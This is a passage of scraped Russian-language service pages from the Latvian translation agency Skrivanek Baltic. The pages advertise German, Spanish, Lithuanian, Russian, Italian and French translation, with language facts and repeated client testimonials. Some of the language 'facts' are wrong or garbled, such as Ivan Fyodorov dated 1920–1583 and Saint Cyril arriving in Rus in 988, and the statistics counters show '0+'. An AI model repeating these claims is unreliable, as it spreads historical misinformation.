поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Skrivanek подготовит перевод текстов с/на немецкий язык на любую тему. Качественные языковые решения разных видов. Свяжитесь с нами! - Published: 2017-12-27 - Modified: 2024-10-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА НЕМЕЦКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – немецкий; немецкий – латышский; эстонский – немецкий; немецкий – эстонский; литовский – немецкий; немецкий – литовский; русский – немецкий; немецкий – русский; польский – немецкий; немецкий – польский; английский – немецкий; немецкий – английский; украинский – немецкий; немецкий – украинский; греческий – немецкий; немецкий – греческий; французский – немецкий; немецкий – французский; испанский – немецкий; немецкий – испанский; итальянский – немецкий; немецкий – итальянский; датский – немецкий; немецкий – датский; шведский – немецкий, немецкий – шведский; норвежский – немецкий; немецкий – норвежский; финский – немецкий, немецкий – финский и др. ФАКТЫ О НЕМЕЦКОМ ЯЗЫКЕ Немецкий язык принадлежит к западногерманской группе языков индоевропейской языковой семьи. Его истоки восходят к 1 веку нашей эры, когда в центральную часть Европы с юга пришли германские племена. Позднее основной язык германцев разделился на три региональные формы: северогерманский, восточногерманский и западногерманский. За столетия из западногерманского языка развился современный немецкий, нидерландский, фризский, люксембургский, африкаанс, шотландский и английский язык. Историю развития современного немецкого языка можно разделить на три периода: 1) древненемецкий язык (ок. 750–1050 годы нашей эры), 2) средненемецкий язык (1050–1500 гг. ) и 3) современный немецкий язык (с 1500 года до наших дней). Немецкий язык является родным приблизительно для 108 миллионов человек, и по этому показателю занимает десятое место в мире. Однако немецкий язык является наиболее распространенным родным языком в Европейском союзе. Немецкий язык является государственным языком нескольких стран Европы: Австрии, Лихтенштейна, Люксембурга, Швейцарии и Германии. В других странах Европы крупные общины, говорящие на немецком языке, живут на востоке Бельгии, на юге Дании, во Франции (в Эльзасе) и на севере Италии. Немецкий алфавит состоит из 26 букв латинского алфавита. Буквы с умляутом (ä, ö, ü) и лигатура ß в алфавит не входят. Умляут или диакритический знак указывает на палатализацию гласного или его смягчение. Лигатура «эс-цет» ß является объединением двух букв s в один символ. В немецком языке все имена существительные пишутся с заглавной буквы. Перед существительными ставятся артикли, которые указывают на родовую принадлежность конкретного существительного. Имена существительные женского рода обозначаются артикулом die, имена существительные мужского рода – артикулом der, а среднего рода – артикулом das. Первой книгой на современном немецком языке считается Библия, переведенная Мартином Лютером (Martin Luther) (1483–1546), отпечатанная в 1534 году. В современном немецком языке различают два диалекта: нижненемецкий и верхненемецкий. На нижненемецком диалекте говорят в Северной Германии, которая располагается в низменности. Его развитие исторически делится на три периода: 1) древнесаксонский язык (8–11 в. ); 2) средненижненемецкий язык (12–16 в. ) и 3) новонижненемецкий язык (с 16 в. до наших дней). На этом диалекте говорят приблизительно девять миллионов человек. На верхненемецком диалекте говорят на Среднегерманской и Южногерманской возвышенности. Этапы его развития исторически делятся следующим образом: 1) древневерхненемецкий язык (8–11 в. ); 2) средневерхненемецкий язык (12–16 в. ) и 3) нововерхненемецкий язык (с 16 в. до наших дней). Нововерхненемецкий язык лежит в основе современного немецкого литературного языка. Код языка согласно ISO 639-1: de. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА НЕМЕЦКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Множество языковых решений с/на испанский язык. Письменные и устные переводы, локализация, нотариально заверенный перевод, языковые курсы. - Published: 2017-12-27 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ИСПАНСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – испанский; испанский – латышский; эстонский – испанский; испанский – эстонский; литовский – испанский; испанский – литовский; русский – испанский; испанский – русский; польский – испанский; испанский – польский; английский – испанский; испанский – английский; украинский – испанский; испанский – украинский; немецкий – испанский; испанский – немецкий; французский – испанский; испанский – французский; греческий – испанский; испанский – греческий; итальянский – испанский; испанский – итальянский; датский – испанский; испанский – датский; шведский – испанский, испанский – шведский; норвежский – испанский; испанский – норвежский; финский – испанский, испанский – финский и др. ФАКТЫ О ИСПАНСКОМ ЯЗЫКЕ История испанского языка началась приблизительно в 9 веке нашей эры. Испанский язык развился из латинского разговорного языка, пришедшего на Пиренейский полуостров вместе с римскими легионами в 3 веке до нашей эры. Испанский, или кастильский язык принадлежит к группе романских языков индоевропейской языковой семьи. Он является родным приблизительно для 400 миллионов человек, и по этому показателю занимает второе место в мире после мандаринского языка. Испанский язык является государственным языком в Испании, а также основным языком во всех странах Центральной и Южной Америки, за исключением Бразилии, Французской Гвианы и Гаити. Он распространен в США (особенно в Аризоне, Калифорнии, Колорадо, Нью-Йорке, Нью-Мексико, Техасе), на Нидерландских Антильских островах и в бывших испанских колониях в Африке (Гвинее, Марокко, Западной Сахаре). Первые письменные памятники на испанском языке сохранились с 11 века. В испанском языке используется латинский алфавит, в котором 29 букв. В испанском языке приблизительно 100 000 слов. Имена существительные и прилагательные в испанском языке не склоняются. Понятийная связь существительных определяется с помощью предлогов. Характерной чертой орфографии испанского языка является употребление перевернутого вопросительного и восклицательного знака в начале предложения, например: ¿Qué pasa? (Что случилось? ). Произношение и употребление языка у говорящих на испанском языке в разных странах отличается, но отличия не столь велики, чтобы затруднять общение. В Испании у этого языка два основных диалекта – андалузский и кастильский. В основе испанского или кастильского литературного языка лежит кастильский диалект. Он универсален, потому что его понимают все говорящие на испанском языке. Код языка согласно ISO 639-1: es. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ИСПАНСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Профессиональные переводы на литовский язык более чем с 300 языков: письменные и устные переводы, локализация и другое. Свяжитесь с нами! - Published: 2017-12-27 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ЛИТОВСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – литовский; литовский – латышский; эстонский – литовский; литовский – эстонский; русский – литовский; литовский – русский; польский – литовский; литовский – польский; английский – литовский; литовский – английский; украинский – литовский; литовский – украинский; немецкий – литовский; литовский – немецкий; французский – литовский; литовский – французский; испанский – литовский; литовский – испанский; итальянский – литовский; литовский – итальянский; датский – литовский; литовский – датский; шведский – литовский, литовский – шведский; норвежский – литовский; литовский – норвежский; финский – литовский, литовский – финский и др. ФАКТЫ О ЛИТОВСКОМ ЯЗЫКЕ Литовский язык принадлежит к балтийской языковой группе индоевропейской языковой семьи. Он является государственным языком в Литве, в свою очередь, в качестве языка национального меньшинства наиболее часто используется в Латвии, Эстонии, немного также в Польше и Беларуси. В целом на литовском языке говорят около 3,15 миллиона человек: 2,9 миллиона в Литве и около 200 тысяч за ее пределами. Литовский язык родственен латышскому языку. Считается, что оба языка до 13 века формировались совместно, и только потом разделились на два отдельных языка. Истоки этих языков уходят к 3 веку до нашей эры, когда побережье Балтийского моря населяли древние балтийские племена. В литовском языке выделяют два крупных диалекта – аугштайтский и жемайтский. Оба диалекта имеют по три говора, которые далее разделяются на 14 вариантов говора. Старейший письменный памятник на литовском языке – некий текст литургии сохранился с 1525 года, а первая печатная книга на литовском языке была издана для церковных нужд в 1547 году. С 16 века до конца 18 века в Литве параллельно существовали целых три варианта правописания. Существенный вклад в создание литовского литературного языка внес Йонас Яблонскис (Jonas Jablonskis), который в основном использовал аугштайтский диалект. Литовский литературный язык формировался в непростых для народа условиях, когда в результате политики русификации, осуществляемой Российской Империей, на территории Литвы запрещалось издавать книги на литовском языке, однако их ввозили тайно. В литовском языке используется латинский алфавит, в котором 32 буквы. Больше всего в литовском языке заимствований из славянских, германских и других балтийских языков, а также из языков финно-угорской семьи. Код языка согласно ISO 639-1: lt. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ЛИТОВСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Выполняем переводы на русский язык более чем с 300 языков: письменные и устные переводы, локализация и многое другое. Свяжитесь с нами! - Published: 2017-12-27 - Modified: 2024-11-05 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА РУССКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; детские лагеря; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – русский; русский – латышский; эстонский – русский; русский – эстонский; литовский – русский; русский – литовский; польский – русский; русский – польский; английский – русский; русский – английский; украинский – русский; русский – украинский; немецкий – русский; русский – немецкий; греческий – русский; русский – греческий; французский – русский; русский – французский; испанский – русский; русский – испанский; итальянский – русский; русский – итальянский; датский – русский; русский – датский; шведский – русский, русский – шведский; норвежский – русский; русский – норвежский; финский – русский, русский – финский и др. ФАКТЫ О РУССКОМ ЯЗЫКЕ Русский язык принадлежит к группе славянских языков индоевропейской языковой семьи. История русского языка начинается незадолго до 7 века нашей эры, когда племена, ранее говорившие на протославянском языке, начали использовать в повседневном общении три его региональные формы – восточнославянский, западнославянский и южнославянский языки. Восточнославянский, или древнерусский язык использовался в официальной речи Древней Руси или так называемой Киевской Руси. Закат восточнославянского языка связан с распадом этого древнего государства (в 14 веке). Важным событием в развитии русского языка стало прибытие в 988 году нашей эры в Древнюю Русь византийского монаха и языковеда Святого Кирилла, который вместе со своим братом Мефодием проповедовал христианскую веру. По его инициативе в письменной речи русского и нескольких других славянских языков все еще используется так называемый кириллический алфавит, в разработке которого монах в основном использовал алфавит, используемый в Византийской империи. На территориях, населенных славянскими народами, под влиянием процессов, которые сопровождали распад Древней Руси (около 14 века) и вторжение Золотой Орды, восточнославянский язык раскололся на несколько языков, включая русский. В русском языке различают две крупные группы говоров: северные «окающие» говоры и южные «акающие» говоры. В населенных славянами областях между Москвой и Петербургом различают срединный диалект русского языка. Русский литературный язык разработан именно на основании срединного диалекта русского языка. С 1942 года в алфавите русского языка 33 буквы, и он создан на основании системы кириллических знаков. В русском языке приблизительно 160 000 слов. В русском языке ударение имеет большое значение, однако единого закона о том, на какой слог должно падать ударение, нет. В некоторых случаях использование ударения меняет значение слова. Первым русским печатником и типографом был Иван Фёдоров (1920–1583), который в 1564 году напечатал первую книгу на русском языке «Апостол». По распоряжению русского царя Петра Великого 16 декабря 1703 года была издана первая в России газета «Ведомости». Первая русская газета, издаваемая на территории современной Латвии – «Российское еженедельное издание в Риге» вышла в свет в 1816 году в Риге. Основоположником современного русского литературного языка был один из наиболее известных российских писателей Александр Пушкин. Русский язык является родным приблизительно для 145 миллионов человек, и по этому показателю является восьмым крупнейшим языком в мире, в свою очередь, по количеству говорящих на русском языке (255–280 миллионов) занимает четвертое место. Русский язык является государственным в нескольких странах: Беларуси, Казахстане, Кыргызстане и России. Значительное количество говорящих на русском языке также проживает в Израиле, Латвии, Литве, Молдове, Украине и в других странах. В Латвии русский язык является вторым по распространенности среди жителей, для которых он является родным. Код языка согласно ISO 639-1: ru. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА РУССКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Качественные переводы на итальянский язык более чем с 300 языков: письменные и устные переводы, локализация и т. д. - Published: 2017-12-27 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ИТАЛЬЯНСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – итальянский; итальянский – латышский; эстонский – итальянский; итальянский – эстонский; литовский – итальянский; итальянский – литовский; русский – итальянский; итальянский – русский; польский – итальянский; итальянский – польский; английский – итальянский; итальянский – английский; украинский – итальянский; итальянский – украинский; немецкий – итальянский; итальянский – немецкий; французский – итальянский; итальянский – французский; испанский – итальянский; итальянский – испанский; датский – итальянский; итальянский – датский; шведский – итальянский, итальянский – шведский; норвежский – итальянский; итальянский – норвежский; финский – итальянский, итальянский – финский и др. ФАКТЫ О ИТАЛЬЯНСКОМ ЯЗЫКЕ Итальянский язык принадлежит к группе романских языков индоевропейской языковой семьи и является родным приблизительно для 65 миллионов человек. История итальянского языка уходит к 1 веку до нашей эры. Язык развился из разговорного латинского языка, официального языка Древнего Рима. В письменной форме итальянский язык начал появляться около 10 века нашей эры в виде различных заметок и коротких текстов. Старейший письменный памятник на итальянском языке датируется 960 годом. Длительное время не существовало литературного языка, и каждый писатель писал на своем региональном диалекте. В основе итальянского литературного языка лежит тосканский (флорентийский) диалект, созданный и популяризованный в 13–14 веке такими литераторами, как Данте Алигьери (Dante Alighieri), Джованни Боккаччо (Giovanni Boccaccio) и Франческо Петрарка (Francesco Petrarch). В итальянском языке до сих пор существует несколько диалектов, которые значительно различаются между собой, и иногда говорящим на них трудно понять друг друга, например, сицилийский диалект некоторые лингвисты считают отдельным языком. В итальянском языке используется латинский алфавит, состоящий из 21 буквы. В алфавит не входят буквы j, k, w, x и y, хотя иногда они используются в различных заимствованиях. Некоторые гласные могут иметь диакритические знаки, которые меняют произношение буквы или дифференцируют значение слова. В итальянском языке перед именами существительными употребляются артикли, которые указывают на род и число существительного. Существительные женского рода употребляются с артиклем la, существительные мужского рода – с артиклем il. Имена существительные женского рода во множественном числе употребляются с артиклем le, а имена существительные мужского рода во множественном числе – с артиклем i. Кроме того, в итальянском языке также употребляется неопределенный артикль женского рода una и артикль мужского рода un. Итальянский язык является государственным языком в Италии, Сан-Марино, Швейцарии, Ватикане и на нем говорит часть жителей Эритреи, Франции, Хорватии, Ливии, Мальты, Монако, Словении и Сомали. Общины иммигрантов, говорящих на итальянском языке, проживают в Аргентине, США, Австралии, Бразилии, Чили и Канаде. Код языка согласно ISO 639-1: it. УЖЕ БОЛЕЕ 25 ЛЕТ НА РЫНКЕ! Мы имеем богатый опыт перевода текстов на различные темы. 0+ Языков в различных комбинациях 0+ млн Слов переведено в 2023 году 0+ Специалистов по различным языкам 0 Сертификата ISO ОТРАСЛИ, В КОТОРЫХ НАИБОЛЕЕ ЧАСТО ВЫПОЛНЯЮТСЯ ПЕРЕВОДЫ НА ИТАЛЬЯНСКИЙ ЯЗЫК Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Предлагаем переводы на французский язык: письменные и устные переводы, локализация и другое. Получите бесплатный расчет стоимости! - Published: 2017-12-27 - Modified: 2024-01-03 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional ЯЗЫКОВЫЕ РЕШЕНИЯ С/НА ФРАНЦУЗСКИЙ ЯЗЫК, КОТОРЫЕ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ НАШИМ КЛИЕНТАМ: письменные переводы текстов общей и специализированной тематики; нотариально заверенный перевод; локализация; машинный перевод для предприятий; услуги графического дизайна (DTP); подготовка и адаптация творческих текстов; синхронный и последовательный перевод; языковые курсы; другие языковые услуги по запросу клиента. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Мы подготовим предложение, разработанное специально для вас. Отправить запрос ЯЗЫКОВЫЕ КОМБИНАЦИИ: латышский – французский; французский – латышский; эстонский – французский; французский – эстонский; литовский – французский; французский – литовский; русский – французский; французский – русский; польский – французский; французский – польский; английский – французский; французский – английский; украинский – французский; французский – украинский; немецкий – французский; французский – немецкий; итальянский – французский; французский – итальянский; испанский – французский; французский – испанский; датский – французский; французский – датский; шведский – французский, французский – шведский; норвежский – французский; французский – норвежский; финский – французский, французский – финский и др. ФАКТЫ О ФРАНЦУЗСКОМ ЯЗЫКЕ Французский язык принадлежит к группе романских языков индоевропейской языковой семьи. Его история начинается незадолго до первого века нашей эры. Французский язык произошел от латинского разговорного языка, который местные жители современной территории Франции переняли у римских солдат после их победы над Северной Галлией. На развитие французского языка влияли местные кельтские языки, на которых говорили племена галлов, а также германские языки, на которых говорили франки, прибывшие на территорию современной Франции после распада Римской империи. Французский язык является родным приблизительно для 70 миллионов человек, и по 